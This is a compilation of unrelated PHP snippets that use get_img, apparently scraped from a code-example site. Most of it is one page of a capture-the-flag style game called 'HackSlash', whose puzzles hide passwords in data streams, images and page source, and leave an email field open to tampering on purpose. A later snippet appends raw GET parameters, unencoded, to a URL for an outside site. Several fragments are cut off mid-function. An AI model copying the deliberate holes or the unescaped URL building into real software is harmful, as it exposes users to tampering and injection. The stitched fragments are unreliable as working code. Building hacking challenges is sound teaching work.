                echo "<br /><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded";
                echo "<br /><br /><b><a href=\"" . $script_path . "challenge." . $_ext . "\">Continue to Challenge " . ($_SESSION['hs_last_ch'] + 1) . "</a></b><br /><br />";
                file_exists("tmp/" . $_SESSION['hs_uname'] . ".rar") ? unlink("tmp/" . $_SESSION['hs_uname'] . ".rar") : null;
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>

	House came up with something brilliant, yet simple.. <br /> He <u><b>hid</b></u> the encrypted password in a <b>text file</b>, archived it and uploaded it to the server.<br /> 
	To get this file all he had to do was click the 'Download File' button and then get the <b>hidden</b> password. 
	<br /><br />
	<small>Find out and Enter the Password below</small>
	<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	 landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
		<input type="password" name="txtPassword">	<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	 landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh.
	  Quisque dapibus neque in velit. Vivamus vitae	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Al
	  iquam erat volutpat. Mauris nonummy, lorem aliquam in ula. Aliquam eratula. Aliquam erat
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
		<input type="submit" name="btnSubmit" value="Submit">
	</form><br />
	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
	    <input type="submit" name="btnDownload" value="Download File">
	</form><br />
	
	<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	 landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>

	<form method="post">
		<input type="submit" name="btnChClue" value="View Clue (-5 Points)">
	</form>
	
<?php 
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnDownload']) && $_POST['btnDownload'] == "Download File") {
                download_file();
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnChClue']) && $_POST['btnChClue'] == "View Clue (-5 Points)") {
                if ($_SESSION['hs_challocatedpts'] == 25) {
                    $_SESSION['hs_challocatedpts'] -= 5;
                }
                if (!isset($_SESSION['hs_used_clue'])) {
                    $_SESSION['hs_used_clue'] = true;
                }
                echo "<small>This is a tougn cookie.. Use <b>'dir /r'</b> command in the folder of the downloaded text file</small>";
            }
            break;
        case 6:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 30;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                ?>
Congrats! You've cracked Challenge No.6<br />
<?php 
                echo "<br /><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded";
                echo "<br /><br /><b><a href=\"" . $script_path . "challenge." . $_ext . "\">Continue to Challenge " . ($_SESSION['hs_last_ch'] + 1) . "</a></b><br /><br />";
                unlink("tmp/" . $_SESSION['hs_uname'] . ".png");
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>
	Tired of the normal ways to hide a password, House came up with something clever.<br />
	He now hid the <b>encrypted</b> password in the below image file, <b>literally</b>.<br /><br />
	<img src="tmp/<?php 
                echo get_img(5);
                ?>
" alt="Nothing Clever About This.." height="225" width="200" />
	<br /><br />
	<small>Find out and Enter the Password below</small>
	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
		<input type="password" name="txtPassword">
		<div style="display:none">
	lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	, est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
		<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	 landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
	<input type="submit" name="btnSubmit" value="Submit">
	</form><br />

	<form method="post">
		<input type="submit" name="btnChClue" value="View Clue (-6 Points)">
	</form>
<?php 
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnChClue']) && $_POST['btnChClue'] == "View Clue (-6 Points)") {
                if ($_SESSION['hs_challocatedpts'] == 30) {
                    $_SESSION['hs_challocatedpts'] -= 6;
                }
                if (!isset($_SESSION['hs_used_clue'])) {
                    $_SESSION['hs_used_clue'] = true;
                }
                echo "<small>Use the tools provided. Image files can be be opened in other applications also you know...</small><br /><br />";
            }
            break;
        case 7:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 35;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                ?>
Congrats! You've cracked Challenge No.7<br />
<?php 
                echo "<br /><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded";
                echo "<br /><br /><b><a href=\"" . $script_path . "challenge." . $_ext . "\">Continue to Challenge " . ($_SESSION['hs_last_ch'] + 1) . "</a></b><br /><br />";
                unlink("tmp/" . $_SESSION['hs_uname'] . ".png");
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>

	Frustrated, he now put his encrypted password in a <b>text file</b>, and <b>zipped</b> it and finally stored it in the below image, literally, like before. To make it even more secure, he put a <b>dynamically generated password to the zipped file</b> and hid this password in the <b>source</b>.<br />
	<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed blandit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	 nulla. Mauris vitae mauris ut mi <font color="#fff">imperdiet ultrices.</font> Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et <span>lorem</span> non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in,<br /> congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br />
	lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	 landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	 u nisi. Phasellus non <small>elit. Praesent scelerisque</small> dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, <pre>egestas sed, luctus at, purus</pre>. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. "<?php 
                echo get_rar();
                ?>
" Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id, est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea <span>dictumst. Nullam pulvinar. Pellentesque</span> habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, <style="font:Gerogia;">luctus non, nibh</style>.
	  Quisque dapibus neque in velit. Vivamus vitae	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Al
	  iquam erat volutpat. Mauris nonummy, lorem aliquam in ula. Aliquam eratula. Aliquam erat
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. <br />Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U

	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
	<br />
	<img src="tmp/<?php 
                echo $_SESSION['hs_uname'] . '.png';
                ?>
" alt="All Ur Base Are Belong To LulzSec... Nyan Nyan.." />
	<br />
	<small>Find out and Enter the Password below</small>
	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
		<input type="password" name="txtPassword">
		<input type="submit" name="btnSubmit" value="Submit">
	</form><br />

	<form method="post">
		<input type="submit" name="btnChClue" value="View Clue (-7 Points)">
	</form>
<?php 
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnChClue']) && $_POST['btnChClue'] == "View Clue (-7 Points)") {
                if ($_SESSION['hs_challocatedpts'] == 35) {
                    $_SESSION['hs_challocatedpts'] -= 7;
                }
                if (!isset($_SESSION['hs_used_clue'])) {
                    $_SESSION['hs_used_clue'] = true;
                }
                echo "<small>Similar to the last challenge as the image displayed can be opened in <b>OTHER APPLICATIONS</b> also and make sure you check the <b>SOURCE</b></small>";
            }
            break;
        case 8:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 40;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                ?>
Congrats! You've cracked Challenge No.8<br />
<?php 
                echo "<br /><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded";
                echo "<br /><br /><b><a href=\"" . $script_path . "challenge." . $_ext . "\">Continue to Challenge " . ($_SESSION['hs_last_ch'] + 1) . "</a></b><br /><br />";
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>

	Dr.House was now tired of being clever. He now updated the site so that he<br /> can get his <b>encrypted password to his email</b> after clicking the 'Email the Password' button.<br /><br />
	<small>Find out and Enter the Password below</small>
	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
		<input type="password" name="txtPassword">
		<input type="submit" name="btnSubmit" value="Submit">
	</form><br />
	
	<form method="post" action="<?php 
                echo $script_path;
                ?>
emailer.<?php 
                echo $_ext;
                ?>
">
	    <input type="hidden" name="emailaddr" value="*****@*****.**">
	    <input type="submit" name="btnSubmit" value="Email the Password">
	</form><br />

	<form method="post">
		<input type="submit" name="btnChClue" value="View Clue (-8 Points)">
	</form>
<?php 
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnChClue']) && $_POST['btnChClue'] == "View Clue (-8 Points)") {
                if ($_SESSION['hs_challocatedpts'] == 40) {
                    $_SESSION['hs_challocatedpts'] -= 8;
                }
                if (!isset($_SESSION['hs_used_clue'])) {
                    $_SESSION['hs_used_clue'] = true;
                }
                echo "<small>Try to change the email where the password is being sent to.</small><br /><br />";
            }
            break;
        case 9:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 45;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                echo "<br /><h3><big>You've completed all the Challenges!</big></h3>";
                echo "<br /><br /><small><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded for this question.<br /><br />Thank you for playing <b>HackSlash!</b> :-)<br />Hope you enjoyed it! Please do provide feedback!</small><br /><br />";
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>

	The previous <b>"flaw"</b> in the email script was kinda stupid. <br />House, <b>fixed</b> this so that now <b>only he can get the mail</b> when he clicked the 'Email the Password' button.<br /><br />
	<small>Find out and Enter the Password below</small>
	<form method="post" action="<?php 
                echo $_SERVER['PHP_SELF'];
                ?>
">
		<input type="password" name="txtPassword">
		<input type="submit" name="btnSubmit" value="Submit">
	</form><br />

	<form method="post" action="<?php 
                echo $script_path;
                ?>
emailer.<?php 
                echo $_ext;
                ?>
">
	    <input type="hidden" name="emailaddr" value="*****@*****.**">
	    <input type="submit" name="btnSubmit" value="Email the Password">
	</form><br />
	
	<form method="post">
		<input type="submit" name="btnChClue" value="No Clue">
	</form>

<?php 
            }
            /* if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnChClue']) && $_POST['btnChClue'] == "View Clue (-9 Points)") {
            	    	if ($_SESSION['hs_challocatedpts'] == 45)
            	        	$_SESSION['hs_challocatedpts']-=9;
            				
            			if (!isset($_SESSION['hs_used_clue']))
            		    	$_SESSION['hs_used_clue'] = true;
            
            			echo ""; 
            		}*/
            break;
        case 10:
            if (!isset($_SESSION['hs_challocatedpts'])) {
                $_SESSION['hs_challocatedpts'] = 50;
            }
            if (!isset($_SESSION['hs_ch_complete'])) {
                $_SESSION['hs_ch_complete'] = false;
            }
            if ($_SESSION['hs_ch_complete']) {
                ?>
<br />
<?php 
                echo "<br /><h3><big>You've completed all the Challenges!</big></h3>";
                echo "<br /><br /><small><b>" . $_SESSION['hs_challocatedpts'] . "</b> points have been awarded for this question.<br /><br />Thank you for playing <b>HackSlash!</b> :-)<br />Hope you enjoyed it! Please do provide feedback!</small><br /><br />";
                unset($_SESSION['hs_used_clue']);
                unset($_SESSION['hs_challocatedpts']);
                unset($_SESSION['hs_ch_complete']);
            } else {
                ?>
	This was the last straw.. House now <b>completely protected</b> his password by sending it to his <b>email</b> only
	by using an application. Although, the application <b>needed his credentials</b> to do so.<br />
	Click the 'Download App' to download the application.
	<div style="display:none">
	 lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed blandit tristique risus.
	 Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante eu nisi. 
	 Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	 c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	 i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	 , est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	 Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	 nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	 terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	 is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U
	
	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div><br /><br />
	<!--form method="post" action="<?php 
                echo $script_path;
                ?>
challenge.<?php 
                echo $_ext;
                ?>
">
	    <input type="submit" name="btnDownloadApp" value="Download Application">
	</form><br /-->
	<div style="display:none">
	lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. 
	Sed blandit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante eu nisi. 
	Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. 
	Praesent nisl nunc, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, dui.
	Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id, est. 
	Etiam in orci eu nunc sodales aliquam.</div><br />
	<!--small>Find out and Enter the Password below</small>
	<form method="post" action="<?php 
                echo $script_path;
                ?>
challenge.<?php 
                echo $_ext;
                ?>
">
		<input type="password" name="txtPassword">
		<input type="submit" name="btnSubmit" value="Submit">
	</form><br /--><br />
	<div style="display:none">
	lorem non fringilla vulputate, nunc tellus mollis massa, eget imperdiet urna metus a pede. Sed b
	landit tristique risus. Nullam cursus, dolor vitae venenatis porta, augue tellus feugiat eros, eu hendrerit mi ante e
	u nisi. Phasellus non elit. Praesent scelerisque dolor. Nulla non nisl a orci sollicitudin pellentesque. Praesent nisl nun
	c, sodales ullamcorper, egestas sed, luctus at, purus. In est nunc, ullamcorper non, tincidunt ac, viverra sed, du
	i. Vivamus convallis rhoncus metus. Ut id velit. Maecenas metus augue, lobortis eu, cursus volutpat, molestie id
	, est. Etiam in orci eu nunc sodales aliquam.<br />
	<br />Nulla non dui ac ligula pulvinar malesuada. In scelerisque. Vivamus euismod. In hac habit
	asse platea dictumst. Nullam pulvinar. Pellentesque habitant morbi tristique senectus et
	netus et malesuada fames ac turpis egestas. Vivamus est sem, varius sed, euismod ac, luctus nec, nulla.
	Cras augue leo, mollis at, aliquet vel, luctus non, nibh. Quisque dapibus neque in velit. Vivamus vitae
	nulla. Mauris vitae mauris ut mi imperdiet ultrices. Aliquam erat volutpat. Mauris nonummy, lorem aliquam in
	terdum convallis, odio lacus bibendum nunc, nec tristique risus velit eget ligula. Aliquam erat volutpat. Du
	is eget enim. Nam vitae dolor. Praesent imperdiet lacus eget purus. Aenean ac erat.<br />
	<br />Duis bibendum tortor cursus sapien. Etiam sapien. Nam semper. Sed rutrum nunc ac orci. U
	t at ligula quis quam eleifend placerat. Vivamus et lorem non urna semper malesuada. Aliquam vestibulu
	m. Duis arcu turpis, posuere in, congue sed, placerat nec, tortor. Mauris vestibulum lobortis libero.
	Aliquam ante augue, rutrum eget, tempus eget, laoreet quis, lacus.<br /></div>
	<form method="post">
		<input type="submit" name="btnChClue" value="No Clue">
	</form>
<?php 
            }
            if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['btnDownloadApp']) && $_POST['btnDownloadApp'] == "Download Application") {
                $file = "tmp/App.exe";
                if (file_exists($file)) {
                    echo "<script> window.open('http://" . $_SERVER['SERVER_NAME'] . "/hs/{$file}', 'Download App', 'menubar=no,toolbar=no,location=no,personalbar=no,status=no,resizable=no,scrollbars=no,top=0,left=0,width=600,height=600,fullscreen=no'); </script>";
                } else {
                    die('File Not Found');
                }
            }
            break;
        default:
            echo "<br /><br /><b>Work to be done for more challenges :-)</b><br /><br />";
            break;
    }
}
Beispiel #12
0
//picture storage
// $result = folder_exists($folder);
// if(!$result)
// {
//   mkdir($folder, 0777);
// }
// get image download link from donor site
if (isset($_GET)) {
    $url = "http://ru.konfischerator.de/setSession.php?";
    $url_length = strlen($url);
    foreach ($_GET as $key => $value) {
        $url .= "{$key}={$value}&";
    }
    $url = substr($url, 0, -1);
    // get url do download image
    $img_url = get_img($url);
}
// end of GET
// // check if table exist;
// table_exists($dbuser, $dbpass, $dbname, $dbtable);
// // if table not exist create new one;
// if(!$table)
// {
//     $query = "CREATE TABLE $dbtable (
//     id int auto_increment,
//     profile_w text(5),
//     profile_m text(5),
//     width_w text(5),
//     width_m text(5),
//     lastheight_w text(5),
//     lastheight_m text(5),
Beispiel #13
0
				
				
				
				
				<a style='float: left' class="fancybox" href="images/big/<?php 
        get_img($r[4], $i);
        ?>
" data-fancybox-group="gallery" title="<?php 
        echo ekranizator($r[2]);
        ?>
">
					<img alt="<?php 
        echo ekranizator($r[1]);
        ?>
" src="images/small/<?php 
        get_img($r[4], $i);
        ?>
"></a>
				</div>				
				<?php 
    }
    ?>

			</div>
		<?php 
}
?>

	
 
<!--		<a class="fancybox" href="images/big/1_b.jpg" data-fancybox-group="gallery" title="Lorem ipsum dolor sit amet"><img src="images/small/1_s.jpg" alt="" /></a>
Beispiel #14
0
 /**
  * Return image(s) $img
  */
 public static function get_img($key, $img, $t = 'large')
 {
     if (is_array($img)) {
         $res = array();
         foreach ($img as $i) {
             $p = get_img($key, $i, $t);
             if (isset($p)) {
                 $res[] = $p;
             }
         }
         return $res;
     } else {
         $i = File::r2a($img);
         if (Judge::view($i)) {
             switch ($t) {
                 case "thumb":
                     return file_get_contents(Provider::thumb($i));
                 case "small":
                     return file_get_contents(Provider::small($i));
                 case "large":
                 default:
                     return file_get_contents($i);
             }
         }
     }
 }
 /**
  * @return     list with RSS links
  */
 public function getRss()
 {
     $rss = '';
     if (Config::read('rss_news', 'common')) {
         $rss .= get_img('/sys/img/rss_icon_mini.png') . get_link(__('News RSS'), '/news/rss/') . '<br />';
     }
     if (Config::read('rss_stat', 'common')) {
         $rss .= get_img('/sys/img/rss_icon_mini.png') . get_link(__('Stat RSS'), '/stat/rss/') . '<br />';
     }
     if (Config::read('rss_loads', 'common')) {
